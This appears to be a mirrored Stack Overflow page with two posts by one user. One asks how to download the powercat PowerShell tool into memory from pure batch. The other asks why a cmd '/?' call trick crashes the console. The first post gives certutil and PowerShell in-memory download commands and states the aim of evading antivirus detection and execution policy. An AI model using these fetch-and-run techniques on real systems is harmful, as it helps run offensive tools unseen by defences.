小编Hax*_*337的帖子

通过纯批处理将远程文件下载到内存中

在我的批处理脚本中,我试图远程下载和执行一个 powershell 脚本。这是网址:

https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
Run Code Online (Sandbox Code Playgroud)

我想将文件下载到内存中(不接触磁盘),原因如下:

  1. 它绕过AV检测
  2. 它绕过了 Powershell 执行策略,因此不需要powershell -nop -ep bypass导致 AV 检测的
  3. 不会抛出不必要的语法错误
  4. 您可以直接使用 .ps1 脚本中定义的函数

显然我可以使用certutil

certutil -urlcache -split -f <url>
Run Code Online (Sandbox Code Playgroud)

但我不希望该文件命中磁盘,这会导致 AV 检测。
使用其他语言(例如 PowerShell)可以轻松完成相同的事情:

(New-Object Net.WebClient).DownloadString($url)
Run Code Online (Sandbox Code Playgroud)

或者

(New-Object IO.StreamReader([Net.HttpWebRequest]::Create($url).GetResponse().GetResponseStream())).ReadToEnd()
Run Code Online (Sandbox Code Playgroud)

我知道批处理不是执行此操作的最佳语言,但有可能吗?(我想要纯批次

powershell cmd batch-file

8
推荐指数
1
解决办法
2546
查看次数

为什么这个命令会导致 cmd 崩溃?

我遇到了一个令人兴奋的怪异脚本崩溃的控制台

set "h=/?" & call [if | for | rem] %%h%%
Run Code Online (Sandbox Code Playgroud)
  • IFFOR并且REM 不是正常的内部命令。他们使用了自己的特殊解析器,这可能会导致一些拦截错误,因此它崩溃了。

@jeb指出CALL 不执行以下特殊字符,而是将它们转换为“令牌”(取决于版本):

  • & 返回 /
  • && 返回 1
  • | 返回 2
  • || 返回 0
  • /? 返回 <
  • @ 返回 +
  • @() 返回 ;

  • @if a==a : 返回 ,
  • @for %a in () do : 返回 +
  • @rem : 返回 -

然而,即使它们有独特的解析器,它仍然不能解释为什么它们都会崩溃。所以我做了一些测试:

  • 消除 call
    C:\>set "h=/?" & for %h%
    %%h%% was unexpected at this time.
Run Code Online (Sandbox Code Playgroud)
  • 将命令更改为其他内容。(我尝试了所有其他内部命令,没有一个有效) …

cmd

5
推荐指数
1
解决办法
396
查看次数

标签 统计

cmd ×2

batch-file ×1

powershell ×1